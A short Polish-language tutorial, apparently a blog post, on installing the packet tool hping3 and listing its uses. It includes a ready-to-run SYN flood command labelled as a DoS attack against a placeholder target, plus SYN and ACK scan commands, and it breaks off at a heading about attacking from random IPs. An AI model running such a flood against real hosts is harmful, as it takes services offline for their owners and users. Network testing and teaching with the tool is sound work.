spis treści

atak typu Denial of Service (DoS) to próba uniemożliwienia dostępu do usługi online przez przeciążenie jej ruchem.

w tym artykule zamierzam zainstalować hping3 i pokazać niektóre użycie hping3. Zaczynajmy.

1. przegląd
2. instalacja
3. użycie

przegląd

hping jest zorientowanym z linii poleceń asemblerem/analizatorem pakietów TCP/IP. Interfejs jest zainspirowany poleceniem Uniksa ping (8), ale hping nie jest w stanie wysyłać tylko żądań ECHA ICMP. Obsługuje protokoły TCP, UDP, ICMP i RAW-IP, ma tryb traceroute, możliwość wysyłania plików między zakrytym kanałem i wiele innych funkcji.

chociaż hping był używany głównie jako narzędzie bezpieczeństwa w przeszłości, może być używany na wiele sposobów przez osoby, które nie dbają o bezpieczeństwo, aby testować sieci i hosty. Podzbiór rzeczy, które możesz zrobić za pomocą hping:

• testowanie zapory sieciowej
• zaawansowane skanowanie portów
• testowanie sieci przy użyciu różnych protokołów, TOS, fragmentacji
• ręczne odkrywanie ścieżki MTU
• zaawansowany traceroute, we wszystkich obsługiwanych protokołach
• zdalne pobieranie odcisków palców systemu operacyjnego
• zdalne zgadywanie czasu pracy
• sprawdzanie stosów TCP/IP
• hping może być również przydatne dla uczniów, którzy uczą się TCP/IP.

instalacja

Uruchom to polecenie, aby zainstalować hping3:

sudo apt install hping3 -y

Teraz uruchom to, aby zobaczyć wszystkie dostępne opcje:

hping3 -h

użycie

atak DOS za pomocą hping3:

sudo hping3 -S --flood -V -p 80 DOMAIN/IP

TCP SYN scan:

sudo hping3 -S DOMAIN/IP -p 80 -c 1

skanowanie TCP ACK:

sudo hping3 -A DOMAIN/IP -p 80 -c 1

atak z losowego IP: